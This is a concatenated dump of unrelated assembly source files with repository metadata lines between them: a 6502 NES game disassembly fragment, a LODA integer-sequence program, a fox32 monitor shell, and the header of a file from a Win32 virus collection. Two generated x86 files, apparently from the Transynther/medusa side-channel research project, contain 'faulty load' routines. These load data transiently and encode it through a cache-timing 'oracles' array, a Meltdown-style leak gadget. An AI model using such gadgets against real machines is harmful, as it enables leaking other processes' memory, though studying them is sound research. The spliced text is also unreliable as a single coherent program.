STA LowPtr_Byte
LDX #$B
LDY #$17
JSR String_to_Screen_Buffer
LDA #>Copyrights ; Кстати, в начале РОМа первая цифра не 1980 а 1981
STA HighPtr_Byte
LDA #<Copyrights ; Кстати, в начале РОМа первая цифра не 1980 а 1981
STA LowPtr_Byte
LDX #1
LDY #$19
JSR String_to_Screen_Buffer
JSR NMI_Wait ; Ожидает немаскируемого прерывания
;!Рисуем строчку Map_Mode
LDA Map_Mode_Pos
ASL A ; х2 (указатели двухбайтовые)
TAY
LDA MAP_MODE_STRINGS,Y
STA LowPtr_Byte
LDA MAP_MODE_STRINGS+1,Y
STA HighPtr_Byte
LDX #$11
LDY #$17
JSR String_to_Screen_Buffer
JSR NMI_Wait ; Ожидает немаскируемого прерывания
LDA #>aSite
STA HighPtr_Byte
LDA #<aSite
STA LowPtr_Byte
LDX #$A
LDY #$1B
JSR String_to_Screen_Buffer
LDA #>aBack
STA HighPtr_Byte
LDA #<aBack
STA LowPtr_Byte
LDX #8
LDY #$0D
JSR String_to_Screen_Buffer
RTS
; End of function Draw_TitleScreen
; ███████████████ S U B R O U T I N E ███████████████████████████████████████
; Рисует колонку из 4-х вражеских танков X раз (задержка в Х фреймов)
DrawTankColumn_XTimes: ; CODE XREF: Draw_Pts_Screen+5p
; Draw_Pts_Screen+106p
; Draw_Pts_Screen+11Ap
; Draw_Pts_Screen+122p
; Draw_Pts_Screen+14Dp
; Draw_Pts_Screen+213p
; DrawTankColumn_XTimes+Bj
JSR NMI_Wait ; Ожидает немаскируемого прерывания
TXA
PHA
JSR Draw_Tank_Column ; Рисует колонку из 4-х вражеских танков
PLA
TAX
DEX
BNE DrawTankColumn_XTimes ; Рисует колонку из 4-х вражеских танков X раз (задержка в Х фреймов)
RTS
; End of function DrawTankColumn_XTimes
; ───────────────────────────────────────────────────────────────────────────
TankKill_Pts: .BYTE $10, $20, $30, $40 ; DATA XREF: Draw_Pts_Screen+48r
; Количество очков за каждый тип убитого врага
;Величины приращений координат надписи GameOver и танка в Construction:
;по 4 байта на X u Y - дают возможность производить
;скроллинг в любом направлении
;В случае танка, это четыре возможных направления движения:
;вверх, влево, вниз, вправо
;(Отрицательные числа приведут к скроллингу в обратном направлении)
;Такие же массивы расположены по адресам $E46C, $EA49
Coord_X_Increment:.BYTE 0, $FF, 0, 1 ; DATA XREF: Move_Tank+33r
; GameOver_Str_Move_Handle+26r
Coord_Y_Increment:.BYTE $FF, 0, 1, 0 ; DATA XREF: Move_Tank+3Fr
; GameOver_Str_Move_Handle+30r
; ───────────────────────────────────────────────────────────────────────────
INCLUDE COMMON.asm; Самые общие процедуры, используемые игрой вынесены в отдельный файл.
INCLUDE STRINGS.asm; Все строки, которые отрисовываются в игре вынесены в отдельный файл.
INCLUDE SOUND.asm ; Звуковой движок вынесен в отдельный файл.
; ───────────────────────────────────────────────────────────────────────────
PAD $FFFA
;Векторы прерываний:
.WORD NMI ; Non-Maskable Interrupt Vector
.WORD RESET ; RESET Interrupt Vector
.WORD RESET ; IRQ/BRK Interrupt Vector
; end of 'ROM'
.END
| 27.017915
| 105
| 0.672072
|
0af45640064d97da141829dfb90a82df6637db4f
| 5,140
|
asm
|
Assembly
|
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca.log_21829_329.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca.log_21829_329.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca.log_21829_329.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r13
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0xd8af, %rdi
nop
nop
nop
nop
dec %rbp
mov $0x6162636465666768, %rsi
movq %rsi, %xmm5
vmovups %ymm5, (%rdi)
nop
nop
xor %r10, %r10
lea addresses_WT_ht+0x11ff, %rsi
nop
nop
nop
nop
add %rdx, %rdx
mov (%rsi), %r11
nop
xor %rdi, %rdi
lea addresses_WT_ht+0x1b439, %rbp
add %rdi, %rdi
movb $0x61, (%rbp)
nop
nop
nop
add %r10, %r10
lea addresses_UC_ht+0xd553, %rsi
lea addresses_UC_ht+0x957b, %rdi
nop
nop
nop
nop
dec %r13
mov $37, %rcx
rep movsq
nop
nop
dec %r11
lea addresses_A_ht+0x2407, %rcx
nop
xor %rbp, %rbp
mov (%rcx), %r10d
sub $40011, %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r13
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r15
push %r8
push %rcx
push %rdi
push %rsi
// Faulty Load
lea addresses_US+0x128ff, %rcx
clflush (%rcx)
nop
nop
nop
nop
nop
xor $15000, %r12
vmovaps (%rcx), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $1, %xmm5, %rdi
lea oracles, %rcx
and $0xff, %rdi
shlq $12, %rdi
mov (%rcx,%rdi,1), %rdi
pop %rsi
pop %rdi
pop %rcx
pop %r8
pop %r15
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_US'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': True, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_US'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 8, 'AVXalign': False, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 1, 'same': True, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': True, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 45.087719
| 2,999
| 0.659728
|
399b7f9eaaed11493fb37b8e8357da49c0c26267
| 387
|
asm
|
Assembly
|
oeis/020/A020987.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/020/A020987.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/020/A020987.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A020987: Zero-one version of Golay-Rudin-Shapiro sequence (or word).
; Submitted by Jamie Morken(s4)
; 0,0,0,1,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,1,1,0,1,1,1,1,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,1,0,1,1,1,0
lpb $0
lpb $0
dif $0,2
lpe
div $0,2
add $2,$0
lpe
mov $0,$2
mod $0,2
| 27.642857
| 201
| 0.560724
|
74405f811b109f741e49ef426b16702a89cdca4e
| 7,451
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_444.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_444.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_444.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0xe478, %rsi
lea addresses_WC_ht+0x18478, %rdi
clflush (%rdi)
nop
nop
nop
nop
dec %rdx
mov $100, %rcx
rep movsq
and $11536, %r13
lea addresses_normal_ht+0x10f54, %r11
dec %rbx
mov (%r11), %cx
cmp %rsi, %rsi
lea addresses_WT_ht+0xd878, %rcx
clflush (%rcx)
nop
xor %r13, %r13
mov $0x6162636465666768, %rbx
movq %rbx, %xmm1
movups %xmm1, (%rcx)
nop
nop
nop
and %rbx, %rbx
lea addresses_normal_ht+0x2ce0, %rsi
nop
nop
nop
nop
sub $52985, %rdx
mov (%rsi), %rcx
nop
nop
sub %rdi, %rdi
lea addresses_D_ht+0x91b8, %rbx
nop
nop
nop
nop
dec %rsi
movw $0x6162, (%rbx)
nop
nop
inc %rcx
lea addresses_D_ht+0xf0b0, %rsi
lea addresses_WT_ht+0x9278, %rdi
nop
nop
nop
nop
sub $60940, %rdx
mov $64, %rcx
rep movsq
nop
nop
nop
nop
nop
and $25632, %rsi
lea addresses_WC_ht+0xb061, %rsi
lea addresses_WC_ht+0xcd70, %rdi
nop
nop
nop
nop
xor $59610, %rbx
mov $33, %rcx
rep movsl
lfence
lea addresses_D_ht+0x17c38, %r13
nop
nop
nop
nop
cmp %rsi, %rsi
mov $0x6162636465666768, %rcx
movq %rcx, (%r13)
nop
nop
nop
nop
nop
dec %rcx
lea addresses_WC_ht+0xb838, %rsi
lea addresses_WT_ht+0x5528, %rdi
clflush (%rsi)
nop
nop
nop
cmp %rbx, %rbx
mov $117, %rcx
rep movsw
nop
nop
nop
nop
nop
sub %rdx, %rdx
lea addresses_UC_ht+0x119f8, %r11
sub %rbx, %rbx
movb (%r11), %r13b
nop
nop
nop
nop
nop
cmp $54156, %r13
lea addresses_normal_ht+0x1dc18, %rcx
nop
cmp $52026, %rsi
vmovups (%rcx), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $0, %xmm4, %rdi
nop
xor %rbx, %rbx
lea addresses_normal_ht+0xb578, %rcx
clflush (%rcx)
nop
nop
xor %rdx, %rdx
mov $0x6162636465666768, %rsi
movq %rsi, %xmm0
movups %xmm0, (%rcx)
nop
nop
sub %rbx, %rbx
lea addresses_normal_ht+0x9e78, %r11
clflush (%r11)
nop
nop
nop
nop
nop
cmp %r13, %r13
mov $0x6162636465666768, %rbx
movq %rbx, %xmm4
and $0xffffffffffffffc0, %r11
vmovaps %ymm4, (%r11)
nop
nop
xor %rdx, %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r15
push %rbx
push %rcx
push %rsi
// Faulty Load
lea addresses_WT+0xae78, %rbx
nop
nop
xor $12976, %rsi
vmovups (%rbx), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $1, %xmm2, %r10
lea oracles, %r15
and $0xff, %r10
shlq $12, %r10
mov (%r15,%r10,1), %r10
pop %rsi
pop %rcx
pop %rbx
pop %r15
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_WC_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 9}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 5}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_D_ht'}, 'dst': {'same': True, 'congruent': 8, 'type': 'addresses_WT_ht'}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_WC_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 5}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_WT_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 7}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 9}}
{'39': 21829}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
| 34.817757
| 2,999
| 0.661254
|
48df72f1dcdc1d563964163e03046105986c60f3
| 6,033
|
asm
|
Assembly
|
fox32rom/monitor/shell.asm
|
ry755/fox32
|
5c06c23941e4a1efae0440a6e8cf31d3f0714256
|
[
"MIT"
] | 6
|
2022-01-27T06:55:52.000Z
|
2022-03-13T22:21:17.000Z
|
fox32rom/monitor/shell.asm
|
ry755/fox32
|
5c06c23941e4a1efae0440a6e8cf31d3f0714256
|
[
"MIT"
] | null | null | null |
fox32rom/monitor/shell.asm
|
ry755/fox32
|
5c06c23941e4a1efae0440a6e8cf31d3f0714256
|
[
"MIT"
] | null | null | null |
; debug monitor shell
monitor_shell_start:
mov.8 [MODIFIER_BITMAP], 0
call monitor_shell_clear_buffer
mov r0, monitor_shell_prompt
call print_string_to_monitor
monitor_shell_event_loop:
call get_next_event
; was a key pressed?
cmp r0, EVENT_TYPE_KEY_DOWN
ifz call monitor_shell_key_down_event
; was a key released?
cmp r0, EVENT_TYPE_KEY_UP
ifz call monitor_shell_key_up_event
jmp monitor_shell_event_loop
monitor_shell_key_down_event:
mov r0, r1
cmp.8 r0, LSHIFT
ifz jmp shift_pressed
cmp.8 r0, RSHIFT
ifz jmp shift_pressed
cmp.8 r0, CAPS
ifz jmp caps_pressed
; first, check if enter, delete, or backspace was pressed
cmp.8 r0, 0x1C ; enter
ifz jmp monitor_shell_key_down_event_enter
cmp.8 r0, 0x6F ; delete
ifz jmp monitor_shell_key_down_event_backspace
cmp.8 r0, 0x0E ; backspace
ifz jmp monitor_shell_key_down_event_backspace
; then, overwrite the cursor
mov r1, r0
mov r0, 8 ; backspace character
call print_character_to_monitor
mov r0, r1
; then, add it to the text buffer and print it to the screen
call scancode_to_ascii
call print_character_to_monitor
call monitor_shell_push_character
; finally, print the cursor and redraw the line
mov r0, '_'
call print_character_to_monitor
call redraw_monitor_console_line
ret
monitor_shell_key_down_event_enter:
; clear the cursor from the screen
mov r0, 8 ; backspace character
call print_character_to_monitor
mov r0, ' ' ; space character
call print_character_to_monitor
mov r0, 8 ; backspace character
call print_character_to_monitor
mov r0, 10 ; line feed
call print_character_to_monitor
mov r0, 0
call monitor_shell_push_character
call monitor_shell_parse_line
call monitor_shell_clear_buffer
mov r0, monitor_shell_prompt
call print_string_to_monitor
ret
monitor_shell_key_down_event_backspace:
; check if we are already at the start of the prompt
mov r1, [MONITOR_SHELL_TEXT_BUF_PTR]
cmp r1, MONITOR_SHELL_TEXT_BUF_BOTTOM
iflteq ret
; delete the last character from the screen, draw the cursor, and pop the last character from the buffer
mov r0, 8 ; backspace character
call print_character_to_monitor
mov r0, ' ' ; space character
call print_character_to_monitor
mov r0, 8 ; backspace character
call print_character_to_monitor
call print_character_to_monitor
mov r0, '_' ; cursor
call print_character_to_monitor
call monitor_shell_delete_character
call redraw_monitor_console_line
ret
monitor_shell_key_up_event:
mov r0, r1
cmp.8 r0, LSHIFT
ifz jmp shift_released
cmp.8 r0, RSHIFT
ifz jmp shift_released
ret
monitor_shell_parse_line:
; if the line is empty, just return
cmp.8 [MONITOR_SHELL_TEXT_BUF_BOTTOM], 0
ifz ret
; separate the command from the arguments
; store the pointer to the arguments
mov r0, MONITOR_SHELL_TEXT_BUF_BOTTOM
mov r1, ' '
call monitor_shell_tokenize
mov [MONTIOR_SHELL_ARGS_PTR], r0
call monitor_shell_parse_command
ret
; return tokens separated by the specified character
; returns the next token in the list
; inputs:
; r0: pointer to null-terminated string
; r1: separator character
; outputs:
; r0: pointer to next token or zero if none
monitor_shell_tokenize:
cmp.8 [r0], r1
ifz jmp monitor_shell_tokenize_found_token
cmp.8 [r0], 0
ifz mov r0, 0
ifz ret
inc r0
jmp monitor_shell_tokenize
monitor_shell_tokenize_found_token:
mov.8 [r0], 0
inc r0
ret
; parse up to 4 arguments into individual strings
; for example, "this is a test" will be converted to
; r0: pointer to "this" data.8 0
; r1: pointer to "is" data.8 0
; r2: pointer to "a" data.8 0
; r3: pointer to "test" data.8 0
; inputs:
; none
; outputs:
; r0: pointer to 1st null-terminated argument, or zero if none
; r1: pointer to 2nd null-terminated argument, or zero if none
; r2: pointer to 3rd null-terminated argument, or zero if none
; r3: pointer to 4th null-terminated argument, or zero if none
monitor_shell_parse_arguments:
push r31
mov r0, [MONTIOR_SHELL_ARGS_PTR]
mov r1, ' '
mov r31, 3
push r0
monitor_shell_parse_arguments_loop:
call monitor_shell_tokenize
push r0
loop monitor_shell_parse_arguments_loop
pop r3
pop r2
pop r1
pop r0
pop r31
ret
; push a character to the text buffer
; inputs:
; r0: character
; outputs:
; none
monitor_shell_push_character:
push r1
mov r1, [MONITOR_SHELL_TEXT_BUF_PTR]
cmp r1, MONITOR_SHELL_TEXT_BUF_TOP
ifgteq jmp monitor_shell_push_character_end
mov.8 [r1], r0
inc [MONITOR_SHELL_TEXT_BUF_PTR]
monitor_shell_push_character_end:
pop r1
ret
; pop a character from the text buffer and zero it
; inputs:
; none
; outputs:
; r0: character
monitor_shell_delete_character:
push r1
mov r1, [MONITOR_SHELL_TEXT_BUF_PTR]
cmp r1, MONITOR_SHELL_TEXT_BUF_BOTTOM
iflteq jmp monitor_shell_pop_character_end
dec [MONITOR_SHELL_TEXT_BUF_PTR]
movz.8 r0, [r1]
mov.8 [r1], 0
monitor_shell_pop_character_end:
pop r1
ret
; mark the text buffer as empty
; inputs:
; none
; outputs:
; none
monitor_shell_clear_buffer:
push r0
; set the text buffer poinrer to the start of the text buffer
mov [MONITOR_SHELL_TEXT_BUF_PTR], MONITOR_SHELL_TEXT_BUF_BOTTOM
; set the first character as null
mov r0, [MONITOR_SHELL_TEXT_BUF_PTR]
mov.8 [r0], 0
pop r0
ret
const MONITOR_SHELL_TEXT_BUF_TOP: 0x03ED4000
const MONITOR_SHELL_TEXT_BUF_BOTTOM: 0x03ED3FE0 ; 32 characters
const MONITOR_SHELL_TEXT_BUF_PTR: 0x03ED3FDC ; 4 bytes - pointer to the current input character
const MONTIOR_SHELL_ARGS_PTR: 0x03ED36C5 ; 4 bytes - pointer to the beginning of the command arguments
monitor_shell_prompt: data.str "> _" data.8 0
| 25.67234
| 109
| 0.726007
|
af3efddf0752fa48dbfb1e3ee28f8da33995101c
| 4,589
|
asm
|
Assembly
|
Win32/Win32.Gaelicum.A/sfc.asm
|
fengjixuchui/Family
|
2abe167082817d70ff2fd6567104ce4bcf0fe304
|
[
"MIT"
] | 3
|
2021-05-15T15:57:13.000Z
|
2022-03-16T09:11:05.000Z
|
Win32/Win32.Gaelicum.A/sfc.asm
|
fengjixuchui/Family
|
2abe167082817d70ff2fd6567104ce4bcf0fe304
|
[
"MIT"
] | null | null | null |
Win32/Win32.Gaelicum.A/sfc.asm
|
fengjixuchui/Family
|
2abe167082817d70ff2fd6567104ce4bcf0fe304
|
[
"MIT"
] | 3
|
2021-05-15T15:57:15.000Z
|
2022-01-08T20:51:04.000Z
|
[BITS 32]
%strlen wlgon_len 'winlogon.exe'
TH32CS_SNAPPROCESS EQU 2
